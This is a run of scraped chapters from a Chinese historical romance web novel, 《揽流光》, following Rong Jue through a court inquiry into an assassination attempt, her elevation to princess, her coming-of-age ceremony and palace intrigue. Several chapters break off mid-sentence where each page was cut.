一旁围观者甚众,喝彩声此起彼伏,盘旋的鸟儿被这喝彩声吓得扑扇着翅膀飞远了。 众人正玩得酣畅淋漓之际,薛琮接过友人传来的球正欲绕过崔度将球传给父亲,周遭气氛突变。他看到太子神色紧张地打断了场上的游戏,上前在桓帝身边耳语几句。 桓帝正因这场马球兴致高涨,听完太子的话他的面色变得低沉犹如暴雨来袭前的乌云。 * “文符带着胡清露来球场找父亲,陛下让文符细细复述了一遍亭中之事,命太子殿下立即封锁云林苑,又命我带人去茗山搜索,只是没想到你们藏得那么深,一路上的痕迹也藏得很好,让我们找了一天。” 容玦听完薛琮的叙述,心中总觉得有奇怪之处,却又抓不到头绪:“那太子殿下为何会被斥责?” “此次云林苑的防务由太子殿下负责,”薛琮叹了口气,愁容满面,“此番出了这样的事,陛下必然大怒。” 容玦看着幽深的夜空无星亦无月,脑中不知想到了什么突然问道:“往常云林苑的防务也由太子殿下负责吗?” “不是的,”薛琮单手撑在桌上支着脑袋,摆了摆手,“往常云林苑的防务由五官中郎将同羽林中郎将负责,此次应是决定突然时间紧促,所以让太子负责。” “阿兄可能带我去大殿?”容玦说着从药草包中掏出两样东西,“阿兄看看这是什么?” 薛琮本懒散地倚在桌上,看到她拿出的东西,猛地从椅子上弹起:“这……难道……” “我原还有几分不确定,”容玦神色凝重地点点头,“看阿兄的反应看来我猜的没错。” 薛琮上下看了看容玦,犹豫道:“阿玦可要换掉这身衣裙?” 遭遇刺杀、又在林中奔逃,一身清亮的衣裙早已被尘土遮蔽,裙摆处还被山中的树枝勾破了不少。 “不必,”容玦抖了抖自己这身衣裙,笑着说:“这样就挺好。” 薛琮背着容玦快步赶到大殿,还未来得及请内侍通传只听里面瓷器碎裂的声音,内里传来桓帝充满怒气的斥责。 内侍在门外悄声道:“陛下正在殿内斥责太子殿下和两位中郎将,司马与姑娘不若偏殿先等等。” 容玦听着大殿内的怒斥声,缩了缩脑袋悄声问道:“麻烦公公,殿内还有何人?” 内心也悄声回道:“殿内还有安平侯与皇后娘娘。” 二人向小内侍道了谢:“我等在门外等候即可。” 薛琮扶着容玦在廊外等候,隔着殿门可以清楚看到殿内的情况。 夜空黯淡,殿内橙色的烛光洒在每个人身上本应是温馨宜人,殿内却充满了肃杀的气氛。 薛皇后神色冷淡地坐在上首,薛勖霖则一脸严肃地坐在她身边。 容玦忍不住去看太子殿下,只一眼,便觉得他并不负史书所言。 「惠帝少颖,一览三诵,群下莫不赞其光风霁月。惟灵惠早殇,挫其光耀,自此一蹶不振,不能复振。若非此故,盛朝或能延数十年。」 只见太子殿下身姿挺拔跪在大殿之中,周围都是碎裂的杯盏,锦衣之上还能看到未干的水渍和茶叶。 可他这些污秽不能侵染他的半分风骨。 他面容俊朗,仔细看来十分肖像陛下,只那一双明眸像极了薛皇后,动人又冷淡。 她看到太子看向自己的母亲,似是看出母亲的担忧,甚至轻轻对她笑了一下安慰母亲,丝毫不在意自己现在的处境。 容玦觉得他像风雪中的松柏。 松柏之质,经霜弥茂。② 桓帝坐在高位不辩喜怒地问道:“查的如何了?” 太子瞥了一眼身侧的两人,声音不疾不徐犹如和煦春风:“凡入云林苑者,皆有记录,却无嫌疑者。刺客能准确找到阿玦,固其不来自外,必出自内。” 容玦看到一旁的五官中郎将面色愤懑,一张脸憋得通红:“太子殿下怎么随意冤枉人!” 羽林中郎将也愤愤不平,却并像五官中郎将冲动,只是问道:“敢问太子殿下有何证据?” “东宫卫正诘问羽林等轮休之人,总有去向模糊者,”太子转头看了看他们二人,安慰道,“莫忧心,一一清察需要时间,必不会冤枉任何一人。” 容玦心念一动,对薛琮耳语一番,薛琮点点头转身离开。 她一瘸一拐地跨步进殿内,上前行礼道:“陛下恕罪,臣女前来有要事禀告。” 薛勖霖上前将女儿挡在身后告罪道:“小女无状,陛下见谅。” 桓帝看着她一瘸一拐脸上还有一些擦伤便也未曾多言,摆了摆手让他坐回去只道:“何事?” 容玦从随身的小包中拿出了一个被折断的箭羽和和箭头。 她将手中的箭羽和箭头递给内侍,缓缓道:“今日躲避刺杀时,臣女注意到刺客起先所用的箭矢十分眼熟。家兄任射声司马,臣女耳濡目染下也对箭羽的种类有所了解。臣女趁着逃跑混乱之际偷偷折断装于身上。直至被兄长寻到后,臣女将箭羽和箭头交给兄长,兄长确认这是羽林卫的箭矢。” “在茗山附近确有几支羽林卫的箭 7. 落絮无声(四) 《揽流光》全本免费阅读 桓帝摆了摆手让内侍宣二人觐见。 二人一文一武,薛琮身上散发着武将肆意的气质,牧平也在他身旁却毫不逊色,他气质清淡,如冬日白梅,即便被白雪覆盖凭借自身的清香遗世独立。 行进大殿,二人向众人行礼之后,薛琮抱拳道:“陛下,小妹今日在山中遇刺全靠牧大人相救,臣想着牧大人兴许知道些什么,所以将牧大人带来。” 桓帝没说什么,只是看着牧平也沉声问道:“太子已将事发经过告知孤,你可有无补充之处?” 容玦敏锐地发现他已经换下了白日衣衫,那一抹梅花的殷红像她的一个错觉。 “回陛下,臣白日虽未看到刺客面貌,”他瞥了一眼伏在地上的许鹏,微微一顿道,“不过臣幼时曾学过弓箭目力优于常人,看到了刺客的身影。” 桓帝亦瞥了一眼微微颤抖的许鹏,淡淡地问道:“刺客身影有何特殊?” 许鹏只觉得两道目光如冰刀刺在自己身上,如置身冬日冰窖般颤抖,他知道自己此次触到了桓帝的逆鳞。 “臣对弓箭不过略知皮毛,”牧平也笑着向薛琮摆了一个“请”的手势,“薛司马对弓箭十分精通,臣已向他讲述了刺客使弓时的特点,陛下不如听听薛司马的判断。” 薛琮闻言向前一步抱拳侃侃道:“根据牧大人的形容,此刺客右手持弓左手持箭,技术纯熟。” 容玦觉得薛琮说起自己精通的弓箭时整个人都熠熠发光,不复日常与她逗弄的顽皮样。 “臣专门去看了小妹说的事发的古亭,在其周围观察了刺客所射发的箭矢。”薛琮略略一顿,“根据箭矢入木的角度与深度,臣认为此刺客近日右肩应有伤,可根据此线索去排查。” 话毕,他瞥了一眼许鹏缓缓道:“而且臣记得,今日打马球之时,许大人以其前些日子受伤为由,没有下场。后来马球打起之后,似乎没有再看到许大人呢。” 许鹏不住地扣头,连连告罪:“陛下恕罪啊陛下,臣一时鬼迷心窍了!” 桓帝似有些累了,声音中充满疲惫:“都下去吧,此事太子继续调查,孤瞧着薛琮长进不少,也随着太子同去。” 殿内众人都纷纷起身行礼,一一告退。 容玦正要扶着椅子起身告退,薛皇后却拉着她的手腕,向太子、薛勖霖、薛琮以眼神示意他们先行离开。 容玦看到了父亲眼中的担忧,这令她心中惴惴不安,只是不知父亲在担忧什么。 “陛下,”待所有人都离开后,她拉着容玦盈盈一拜,道,“妾想为阿玦求一个恩典。” 容玦十分守规矩地在她身后半步的位置跪着。 她从身后看向前方的薛皇后,薛皇后虽是跪着,却身姿挺拔,毫无“求”的姿态,和太子如出一辙。 薛皇后神色淡淡,眼底毫无波澜,看起来十分有把握。 桓帝看着下首的薛皇后,沉默片刻问道:“薛家丫头先是落水,此番又遇刺客确是多舛,皇后想求何恩典?” 薛皇后微微抬头,一双坚定的眸子直直撞入桓帝眼中,令桓帝恍惚。 她的声音清淡又有力量:“妾想为阿玦求一郡主之位。” “阿玦下月便及笄了,妾左思右想该送她个什么及笄之礼好。不若陛下赐阿玦一个郡主之位,权当是陛下与妾送与阿玦的及笄之礼可好?” 容玦吓了一跳本想说些什么,薛皇后似有所感对她微微摇头。 不知为何,容玦周遭的空气都变得紧张了起来,甚至那烛火都摇晃得幅度都越来越大了。 薛皇后却恍若未觉,仍自顾自说地说道:“勖霖当年与北蛮之战大战而胜,差点丢掉性命,陛下可还记得曾对他说过什么吗? “陛下曾说,‘被北蛮制之久矣,卿连获大胜,足以扬眉吐气,然来日大战,非卿莫属,此大功封王宜也。’可勖霖直言不敢担此重赏,陛下坚持为勖霖封了侯,还道以后在其一双儿女身上弥补。 “阿琮渐长,在北军中历练得不错,他早晚继承这安平侯府。可阿玦不一样,她不过一个女儿,我们薛家也就只有这一个女儿。妾想不若送她一郡主之位,谅日后也无人敢欺负了她去,如何?” 桓帝看着薛皇后,试图看出她的情绪,可她却什么情绪都未外泄。 桓帝沉默了半晌,道:“有孤这个姑丈在,何人敢欺负了她去?” 薛皇后闻言竟轻轻嗤笑了一声,那笑声回荡在这空旷的大殿上。 窗外忽然闷雷一声,袭来的风吹动了殿内的烛火,映衬在薛皇后脸上竟显得有几分凄凉。 容玦总觉得桓帝此刻浑身散发着怒意,却又夹杂着一丝无奈。 她生怕桓帝抓着手边砚台砸下来,偷偷觑着眼,准备时刻挡在姑母身前。 “短短一月阿玦就遭了两次生死劫,裴家可有半点儿事?”薛皇后的声音不似先前的冷静自持,有微微的颤抖和泣声,“我知晓崔夫人向陛下求情,这个亏就只能让阿玦受着。” 她抬起蓄满泪水的双眸,不知看向何方:“陛下不知,阿玦落水后差点醒不过来,连钟太医都束手无策。弟妹日日以泪洗面,阿玦好不容易醒来了,初初几日犹如傀儡般没有神采,人也痴痴的。后来虽慢慢好转却将前尘往事忘得干干净净,可妾身总想着,能醒来便是好的。” “可谁知,”她的声音突然哽咽了起来,“阿玦今日又遇刺杀,我的孩子为何如此苦命啊!” 容玦看着泫然欲泣的姑母,被她的悲伤感染,心中涌上酸涩,她看向上首的帝王虽仍面无表情,却也被这巨大的悲伤所笼罩。 “安乐可好?” “什么?”薛皇后一双剪水秋瞳疑惑地看着上首的桓帝。 桓帝很有耐心地重复了一遍:“孤说安乐这个封号可好?” 薛皇后不知想到了什么,深深看了桓帝一眼,盈盈拜倒:“多谢陛下。” 薛皇后和容玦跨出大殿,碧桃快步上来扶着站不稳的容玦,薛皇后却只是眺望着漆黑一 8. 落絮无声(五) 《揽流光》全本免费阅读 容玦自云林苑归来后,生活过得异常惬意。 这日刚过六月,窗外蝉鸣阵阵,微风送来花香,薛琮带着一身的暑气“嘭”地闯入书房。 容玦显然已经习惯,看着手中的书头也不抬,只是说道:“桌上有解暑汤,阿兄快喝些。” 薛琮站着拿起解暑汤闷头灌了下去,喝完大步到书桌前抽掉她手中的书,兴奋道:“阿玦别看了,今日城中最大的酒楼天一楼重新装潢开张,我托人定了位子,走走走,好像晚些时候还有歌舞呢。” 在薛琮的坚持不懈下,容玦已然十分了解京都是何种繁华模样。 若说容玦曾经对京都的印象像一幅淡然的黑白水墨画,那现时的京都更像金玉满堂的富贵牡丹图。 容玦起身和薛琮朝外走,可嘴上还说着:“若是天一楼没有阿兄夸的这么好,我可再也不跟阿兄出去玩了。” “放心吧,”薛琮右手握拳在胸膛敲了敲,“这京都什么好吃什么好玩,我清楚得很,绝对错不了!” 这天一楼果然是京都最大的酒楼,俨然是人山人海,容玦看着人头攒动犹豫道:“要不……换个地方?” 薛琮正要回答却突然来人在他耳边耳语一番,他的眉头渐渐蹙起。 容玦隐约间听到“大牢”“太子”,她看着薛琮抱歉的眼神试探道:“可是许大人在牢中出事了?” 薛琮双手扶着她的肩,眉目间是往日从未有过的认真,他微微弯腰撞入和自己相似的眼眸,却更加清澈灵动:“有阿爹和阿兄在,阿玦无需担心这些,只要开开心心的就好。” 容玦点了点头,笑道:“那阿兄快去忙吧,我和月红逛一会子就回府了。” 薛琮摸了摸她的头,又厉声对家仆道:“保护好小姐,若是出了什么事,十个脑袋也不够你们抵的!” “阿兄也太小心了,”容玦推了推他,“快去吧,放心。” 薛琮一步三回头地离开了。 月红又瞅了一眼这天一楼犹豫道:“姑娘,还去吗?” “我们去别的地方,”容玦忽然心念一动,指着身后的家仆对月红道,“让他们远远地跟着就行了。” 夏日天长,当容玦走到城南的时候天色也只是慢慢暗了下来。 夏夜蝉声悠扬,蟋蟀声有节奏地叫着,同刚刚爬上夜空的星辰一同共振,孩童们在街口的大榕树下嬉笑玩闹着,清脆的童声为了夏夜平添了几分生动。 她看到街口的那家馄炖铺崭新的招牌不觉露出笑意,快步向前走去:“月红,来尝尝这个。” “啊?”月红犹豫着跟上前去,悄声在容玦耳边说道:“姑娘,会不会不干净啊?” 容玦摇了摇头,上前跟卖家说道:“老板,要两份馄炖。” 显然新开的铺子没有什么生意,看到有顾客来夫妻俩脸上堆满了笑意:“好嘞,您坐着等等。” 馄炖冒着热气被端上来,月红还是十分犹豫,可容玦却胃口大动,拿起勺子吃了起来。 味道还是一样,她心想道。 主仆二人吃完馄炖后,容玦让家仆们也吃些,她和月红去巷子里瞧瞧。 她一步步走过陌生又熟悉的小巷,走到自家门前。 这时的木门还是崭新的,整间小院不若自己记忆中的破败,透过未关紧的大门还能看到那颗枇杷树,只是还不如记忆中蓊蓊郁郁。 虽然不复从前模样,但只是这么瞧瞧这间小院,她那漂浮不定的心忽然就像有了归宿般安稳了下来。 正欲转身离去,大门忽地从中打开,容玦没想到小院的主人竟是牧平也。 牧平也显然也十分诧异,却也只是一瞬,便笑着问道:“薛姑娘怎会来此地?” 城南住的多是平头百姓,天王贵胄们都住在城东,她这一身锦绣和这小巷子实在是不相宜。 容玦看出了他眼中的警惕与疏离,却装作没看到,只是笑道:“不过是闲来无事,随意走走,这就要走了。” 牧平也看着她真诚的眼神,放下心中的戒备邀请道:“姑娘若是不急,不若来喝盏茶。” 容玦让月红在门外等待,自己提起裙摆跨进院中。 容玦看着这熟悉的小院突然真实地感觉到自己是存在过的,枇杷树虽未长成,可那树上的疤痕一模一样。 树下的石桌是新置办的,她也曾在夏夜和阿爹在此对弈。 牧平也引着她坐在石桌前坐下,为她倒了一盏茶:“粗茶而已,姑娘莫要嫌弃。” 容玦拿起茶杯喝了一口,是从前阿爹最喜欢的巷子口沈家茶铺的茶叶。 “很香,我很喜欢。”她微微敛眉,隐去自己的情绪。 牧平也见过很多人,能清楚地分辨一个人是虚情还是真心。 她是真的喜欢这简单的茶。 月亮攀过云层露出面庞,照亮了这间小院。 “我能否问姑娘一个问题?” 容玦眼波微动,浅浅颔首。 “姑娘为什么找我合作呢?” 容玦笑了笑,看着牧平也深邃的双眸,突然问了一个毫不相关的问题:“我的生辰宴,牧公子会来吗?” 牧平也颔首。 他原本是不会收到薛家的帖子,可薛琮记着他救薛容玦的情分,向他下了帖子。 他知晓,这是薛琮在报答自己,为自己铺路。 容玦笑了笑,双眼如月牙儿般弯着,牧平也觉得此刻的她像狐狸一样狡猾。 “到时我再告诉公子,”她的声音不复从前沉稳,反带了几分少女的娇俏,她已经走到大门处却突然回首道:“公子答应我的书到时记得带上。” 她离开时的脚步轻松而愉快。 * 周韫便没有这么清闲了,成日里为了容玦的及笄礼盒生辰宴忙得团团转。 薛容玦生于六月十八,薛皇后说虽然阿玦还未许人家,但大盛朝不拘这个,索性及笄礼和生辰宴一同办了。 原本周韫只需准备生辰宴,这下可好了还得置办及笄礼。 周韫每每想找女儿试试礼服,都找不到人,惹得周韫把薛琮痛骂了一顿,后面的时日容玦又被困在家中,像傀儡一般练习礼仪试穿礼服。 * 窗外的槐树越发的浓密了,转眼间就到了六月十八。 容玦清晨还未睡醒便被月红拉着起来了,她一边服侍容玦沐浴一边道:“今日可是姑娘的大日子呢,一定要精精神神的。” 薛皇后十分重视周韫的及笄礼,专门派了碧桃前来帮手。正宾自然是请薛皇后来担任,有司请了容玦的好姐妹胡清露,赞者则请了容玦的表姐姜琼芳。 薛家早早便向各家送了帖子,因着生辰宴与及笄礼同办,便未前往家庙办及笄礼,只在家中大堂办。 这日清晨喜鹊便在容玦窗外叫,胡清露直呼这可是大好的兆头呢。 姜琼芳在一旁边吃水果边说:“我和爹娘一路赶,可算是在你及笄礼前赶回来了,差点来不及了呢。” 容玦好奇地问道:“南方出了何事?” 姜琼芳摆摆手:“我爹从不和我说官场的事,你回头问问你爹,他应该知道。” 容玦正要答话,周韫掀帘进来,笑着对姜琼芳和胡清露道:“此番麻烦你们了,吉时快要到了,我带你们去准备准备。” 姜琼芳笑着道:“姨母太过客气了,我和阿玦自小玩到大的,有什么麻烦的。” 胡清露也使劲点点头:“就是的,我及笄的时候还是阿玦来当有司呢,夫人太过客气了,我们先去,夫人和阿玦说说话。” 周韫也笑着将二人送出,上下打量了一下容玦,感慨道:“总觉得阿玦还是那个追着阿娘要阿娘抱的小姑娘,一转眼就已经这么大了。” 容玦察觉到周韫的伤感,拉过她的手安慰道:“阿玦只是及笄,又不着急嫁人,还能多陪阿娘很久呢。” 周韫被她逗得笑出了声,轻轻戳了一下她的脑门:“净会胡说,皇后娘娘马上到了,我们去迎一迎。” 周韫母女与薛皇后聊了两句,碧桃便上前来说吉时已到可以开始了。 及笄礼的礼仪繁琐复杂,容玦按照婢女的指引一步一步来,前些日子练习也算没有白费。 薛皇后三吟祝词,最终为她簪上了一只点翠金冠,她在碧桃的搀扶下回到东房,姜琼芳为她取来礼服,这衣裳华贵至极,腰间的红宝石散发着荧荧光亮。 三加三拜即毕,容玦还礼后,薛皇后拉着她的手笑着道:“今汝既笄,予取字汝曰昭昭。愿汝昭昭若日月之明,离离若星辰之行,自兹顺遂无虞。” 容玦不禁想起了前世自己的及笄礼。 前世她的及笄礼十分简单,战乱已起,她也什么亲人,后来是阿爹请了陈大人的夫人作为自己的正宾,一切礼仪从简。 她还记得陈老夫人对自己道:“世道险艰,取字曰昭昭。‘日升月恒,昭昭之宇’,惟愿世间早日霾散光遍。” 容玦心中感慨道也许这就是冥冥之中自有天定,开口:“昭昭必竭力,不负所望。” 容玦听取周韫聆训后,姜琼芳唱礼,礼成。 正待此时,只见桓帝身边的内侍小步走了进来。 暮气沉沉的脸上堆满了笑容,向薛 9. 落絮无声(六) 《揽流光》全本免费阅读 胡清露脾气急,闻言就要上前去和文繁荫争辩两句。 容玦还在思考文繁荫口中的话到底是什么意思,便看到姜琼芳急急忙忙拉住她,听到姜琼芳小声劝慰道:“今日是阿玦的生辰,清露妹妹也不想让阿玦今日不痛快吧。” “只是!那好吧……”胡清露神色不忿,狠狠道,“下次再和她算账。” 三人待裴枫和文繁荫离去后才从假山后出来,胡清露面色泛红显然是被气的,语气中充满了不解:“明明幼时我们都玩在一处的,我记得文繁荫幼时不过骄纵一些,现如今怎成这样了?” 这是容玦不知道的往事了,她听到姜琼芳叹了口气:“这又如何说得好呢,亲兄弟尚且能刀剑相向,更何况幼时玩伴呢。 “道不同不相为谋,日后我们避着她些便好。” “年年岁岁花相似①,”容玦也笑着劝慰道,“这都是无可避免的事情,清露姐姐想开些。” “哎,道理我都懂,”胡清露耷拉下脑袋,声音也变得伤感,“我知晓悲欢离合总无情②,可我总想着幼时我们一同欢笑的时光,只是……不知道为何我们就走散了。” 姜琼芳和容玦二人也被她的伤感影响到,气氛顿时有些悲戚。 容玦想了想拉起二人的手,正色道:“清露姐姐忘了不成,我们曾经说过的‘不辞山路远,踏雪也相过’③。” 姜琼芳也笑着附和道:“去日不可追,来日犹可期。④” 胡清露这才重展笑颜,握紧二人的手:“嗯!我们才是最重要的。” 三位少女青春的笑容映衬的一旁的蔷薇都黯然失色,这美好的誓言是她们一生情谊的相绊。 “原来在这里,让我好找,”薛琮匆匆行来,看到三人快步迎上来,对容玦使了个眼色,又对姜琼芳和胡清露笑道,“表妹和胡姑娘不若先去前院,皇后娘娘找阿玦说说话。” 容玦也会意道:“二位姐姐先去,我随后就来。” 二人同薛琮兄妹告别后先行前往前院,薛琮看着二人离去才转头对容玦说:“在东偏院。” 东偏院是薛府一处比较偏远的院子,容玦看着葱绿的地锦爬满院头,夏日的炎热在此处不复再见,微风袭来,令地锦在墙头一荡一荡,似乎带走了所有的忧虑。 “去吧,”薛琮笑着对容玦道,“不过得快一点,我在门口守着。” 容玦笑着挽上薛琮的胳膊:“多谢阿兄,还是阿兄对我好。” “你想要答谢牧大人是情理之中,我和阿爹也对他十分感激,”薛琮笑着摸了摸头,“虽说是因平日不便见才选择今日在此答谢,但今日毕竟是你的生辰宴,离宴太久也不好,就一柱香的时间,快去吧。” 牧平也仍旧一身月白的衣衫,站在葱葱茏茏的枇杷树下,不知在想着什么,远远看去犹如云端谪仙。 他听到院门推动,转身看到身着杏黄罗裙的容玦,她像是偷下凡间的花神仙子,脚步轻快双眸净是对人世间的憧憬。 二人相互见了礼,坐在树下的石桌前,牧平也率先开口道:“今日姑娘生辰,在此恭贺姑娘生辰,愿姑娘且以喜乐,且以永日⑤。” “多谢公子,”容玦笑着歪了歪脑袋,隔空点了点他空空如也的两只手,“只是,我的生辰礼呢?” 牧平也看她如此心急,不禁笑出了声:“姑娘放心,书籍不便携带,在下已托薛兄转送。” “公子这是愿与我合作了?”容玦放下了紧张的心,语气放松了下来,话语间也多了几分打趣。 牧平也微微一笑,那笑容如春花便开般灿烂:“这是自然,只是姑娘为何如此着急?” 容玦闻言敛了笑意,神色晦暗不明,原本灿若明星的双眸此刻像乌云闯入,语气却十分平稳:“皇后娘娘为我向陛下求了郡主之位,陛下今日已经下了旨意。” * 容玦在殿外等薛皇后召见时,坐在一旁用手撑着脑袋轻轻按压,昨日夜里的暴风雨让她一夜都未曾睡好。 狂风卷来厚重的乌云,窗外的樱花树被吹得东倒西歪,树叶萧萧而落。闪电如约而至撕裂了空中的黑云,屋外雨声咆哮淋漓畅快,屋内疾风阵阵狼藉飘零。 到了清晨一切尘埃落定。 原本傲然挺立的樱花树变得垂头丧气,遍地都是零落入土的花瓣与绿叶。 昨夜的雨滴还悬挂在那些撑过暴风雨的菖蒲莲上,菖蒲莲虽有颓势仍顽强地坚/挺着,在一众萎靡不振的花园中分外格格不入。 微风吹来,菖蒲莲骄傲地甩掉雨滴随风轻轻舞动,像一个翩翩舞者,在诉说自己对抗风雨的胜利。 然而,容玦此刻的心情却像被打落紫藤花一般,垂着头萎靡不振。 稍顷,碧桃从殿内行出,走到容玦身边福身道:“姑娘,皇后娘娘在殿内等姑娘呢。” “我这就来。”容玦扶着月红,借她的力站起来。 碧桃见状快步上前接过容玦,对月红道:“月红在此等薛姑娘即可。” 虽说是白日,但殿内未曾点灯,还是有几分暗淡。 薛皇后坐在榻上,远远看着像一幅剪影画,十分寂寥。 碧桃扶着她进入殿内,容玦正欲行礼,便被薛皇后打断,笑着冲她招手:“此处也没有外人,坐姑母旁边来。” 薛皇后抬手打散了殿内的寂寥气氛,多了几分热切,可这热切中却有些许容玦读不明的情绪。 碧桃扶着她在薛皇后身边坐下,便带着殿内内侍默默退出殿外。 薛皇后慈爱地看着她,看到她一脸憔悴,显然是一夜未曾睡好,关心道:“阿玦近日可要好好休息呢。” “昨日晚间的暴风雨声势浩大,令阿玦未能好睡,”她向薛皇后笑了笑,“白日里再补补觉便可,姑母白日里也要再补补呢。” 薛皇后面上浮上一抹笑意,略带深意道:“暴风雨让你我都未曾好睡。” 和聪明人说话不需要拐弯抹角,容玦猛然意识到。 她看着薛皇后的眼睛,虽有脂粉遮盖可仍能看到眼下乌青和眼尾的褶皱。 她看了看薛皇后又垂下眼眸,犹豫着开口:“姑母昨日……为何向陛下为我求郡主之位呢?” “阿玦是个聪明姑娘,”薛皇后仍笑着看她,只是那笑意并不达眼底,“阿玦如何觉得呢?” 容玦头一次感受到了薛皇后身上散发出逼人的气势,她顿时有些害怕,缩了缩身子不敢直视她,只是垂着头轻声道:“姑母……姑母自然是疼惜阿玦。” 薛皇后这才真真切切地笑了起来,拉起她的手柔声道:“我们薛家只有阿玦一个女儿,姑母当然疼惜阿玦的。” 薛皇后的手十分冰冷,令她浑身一震。 容玦稳住自己微微颤抖的身子,故作天真般看着薛皇后,挤出笑着说:“我就知道姑母最疼我,阿兄常常说姑母对阿玦比他好呢,照我说他就是嫉妒姑母对阿玦好呢!” “薛琮那个臭小子,”薛皇后笑着摇摇头有几分无奈,她温柔地注视着容玦,“怎么比得上宝贝阿玦,阿玦就要及笄了,姑母一定要为阿玦找门好亲事。我们阿玦值得这天下间最好的男儿。” 容玦脸上适时浮上红晕,她挽上薛皇后的手臂,靠在她的肩头,一副小女儿娇羞的姿态:“姑母说什么呢,阿玦还小呢,想在父母和姑母身边多侍奉几年呢。” “阿玦就是喜欢耍小脾气,”薛皇后轻轻拂着她的脑袋,目光不 10. 山雨欲来(一) 《揽流光》全本免费阅读 薛容玦的这场生辰宴办得声势浩大,远处水榭中的戏子唱遍人世间的离合悲欢,庭院里觥筹交错,桌上珍馐美馔。 对于薛家的繁盛,艳羡者有之、嫉妒者亦有之。薛皇后在生辰宴稍坐了坐便先行回宫,太子殿下仍留下为表妹庆贺。 薛容玦瞥见薛琮带着牧平也前往太子殿下坐前,向他引荐着牧平也。 远远瞧着,不知牧平也说了什么,太子拍着他的肩朗然大笑,二人不像浸染在权势朝堂中的人,而像那山中名士,举手投足间尽是风流。 周韫带着薛容玦在世家夫人间周旋一圈。 不少贵妇人都转着弯地打定薛容玦可曾定亲,都被周韫搪塞了回去。 毕竟她也知晓,薛容玦的婚事已经不是薛家可以做主的了。 折腾一番薛容玦才回到世家贵女这边。 少女之间的气氛便活泼轻松许多,她们的声音如银铃般清脆,她们自身本就是一副青春畅景。 薛容玦在一众世家贵女的祝贺下饮了不少果酒,一时间酒意上涌,连连摆手拒绝。 她借口头晕悄悄溜到一旁坐在湖心亭中趁着微风荷香醒醒酒,她的面颊像湖面上的荷花一样粉嫩。 盛夏的湖面上波光粼粼、流光四溢,蝉鸣与蛙叫此起彼伏,闭着眼像是置身于乡野田间,好不自在惬意。 薛容玦一时间觉得自己颇有些“偷得浮生半日闲”①的趣味。 正当她坐在亭中倚着柱子,用团扇轻轻摇着扇风时,身后传来一个柔弱的声音。 “容玦姐姐……郡主……可方便说句话?” 薛容玦闻声掀开眼皮,微微转头看去,原来是裴枫。 裴枫与她想象中完全不一样。 原以为和她争吵、推她落水的女子是如文繁荫一般骄纵跋扈。 未曾想到,裴枫若弱柳扶风般娇柔,她身着嫩绿衣裙,点缀着粉色花朵,倒是与这荷花相得益彰。 许是酒意上头,薛容玦歪着脑袋笑得娇憨可爱:“这又是在湖边,还想推我下去一次吗?” “不是的不是的,”裴枫连连摆手后退,原本白皙的面庞如醉酒般浮上红色,“我……我那日只是想让姐姐落水,但并未曾想到会让姐姐撞入塘中石块……” 她面色愧疚,双手拿着帕子在身前不住地揉捏着:“那日,薛家兄长就在一旁,我想着姐姐即便不会水,也会被薛家兄长救起,最多呛几口水,未曾想到会是这样……” 薛容玦闻言来了兴趣,挑了挑眉,施施然坐在亭中,抬起眼睛看着她:“那裴姑娘为何要推我落水呢?” “我……”她低着头,手中原本的帕子被揉得皱皱巴巴,“我不想姐姐嫁给文符表哥……” “你心悦于他?”薛容玦往后靠了靠,发丝被风吹得飘逸。 裴枫双颊憋得通红,似是鼓足了勇气,微微抬起头直视着薛容玦的双眸道:“因为姐姐是薛家人。” “那裴姑娘呢,”薛容玦手中的团扇轻轻扇着,她觑着眼似笑非笑,“裴家人?还是崔家人?” 裴枫红着脸退了一步,嗫喏道:“不是的……我只是不愿……” 薛容玦酒意上头有些头疼,她看裴枫半天也说不出个所以然来,自己扶着柱子站了起来,抬步离开:“若是裴姑娘无事,我便先回去了,离席太久了。” 说着,从她身边袅袅婷婷走过。 “文家已经选择了崔家!”她柔弱又坚定的声音从身后传来,“姐姐若嫁过去只会是牺牲品。” 薛容玦顿步,回首瞧着她,试图从她的脸上看出什么。 裴枫被她看得无措,又低下了头。 “那裴姑娘呢?身为裴家人,不为裴家、崔家着想却为我这个薛家人着想,倒是奇事呢。 “皇后娘娘曾言‘裴家三娘,品行低劣,不堪为人妇’。” “裴姑娘好心计,”薛容玦笑着抚掌,只是笑意未曾达到眼底,“姑娘有自己的图谋,大可不必以我为借口,我不愿做你的棋子。” 薛容玦看着裴枫想要争辩却又不敢争辩,泪水蓄满眼眶似落未落,心中不忍:“不过既如此,你我过往皆一笔勾销,以后莫要再提了。” 话毕转身离去,假装没有听到她的喃喃细语。 只是薛容玦没成想,刚出了湖心亭往前庭走去,刚走了两步又在铺满紫藤花的回廊拐角处撞到了柳凭风,柳家二郎。 他却毫不意外,像是特意等候于此,浅浅笑着抱拳道:“郡主万安,愿郡主朱颜长似,头上花枝,岁岁年年②。” 薛容玦的酒意淡了些,随着他的目光抬首看了看头顶的紫藤花:“多谢柳公子,若是无事,我……” “还请郡主留步。”柳凭风笑着打断她。 柳凭风人如其名,笑着起来如春风拂面、十里柔情。 若说柳凭风如风一般,牧平也更像水。 薛容玦微微蹙眉,疑惑地看着他。 “庭院里面酒热正酣,”他看出了她眸中的困惑,退了半步解释道,“不若这里清爽宜人,且前些日子和太子殿下闲聊,想到一件与郡主的幼时趣事。” 薛容玦不愿扫兴,只得忍着头疼问道:“哦?是何事?” 柳凭风笑着,眼中满是回忆之色:“应是幼时随家父前去云林苑,碰上郡主与薛兄玩捉迷藏,我恰巧路过正欲开口同郡主说话,郡主怕被薛兄发现,拉着在下一同藏在了废弃的水缸中。 “每每欲开口之时,郡主便会让我噤声。不知过了多久,待你我二人蹲的腿都麻了,郡主才喃喃道‘阿兄怎的还不来寻我?’在下才有机会开口。 “薛兄被薛伯父寻走,让我来告知郡主一声,结果在下也不敢开口,陪着郡主蹲了快半个时辰。” 薛容玦头昏脑胀也不知他到底想说什么,却还是笑着附和道:“幼时顽劣,让公子见笑了。” “郡主天真可爱,”他说着从口袋中拿出一个失去光泽的步摇,“那日郡主落下了这支步摇,在下却始终没时间还给郡主,便被保存了十多年。” 薛容玦正欲开口,却被身后熟悉又冷淡的声音打断:“郡主落水后忘却了不少前尘往事,人尽皆知,柳公子又何必引得郡主伤心呢? “当年难以开口,如今便也无需再多言。 “既已是多年旧物想来郡主也不再需要,不若直 11. 山雨欲来(二) 《揽流光》全本免费阅读 烈日炎炎,一位老者戴着草帽蹲在农田中在细细查看着什么,良久才扶着锄头起身,他这才瞧见一袭白衣的牧平也站在农田边。 他身着一袭月白色衣袍站在那里,与这里面朝黄土背朝天的老人实在是格格不入。 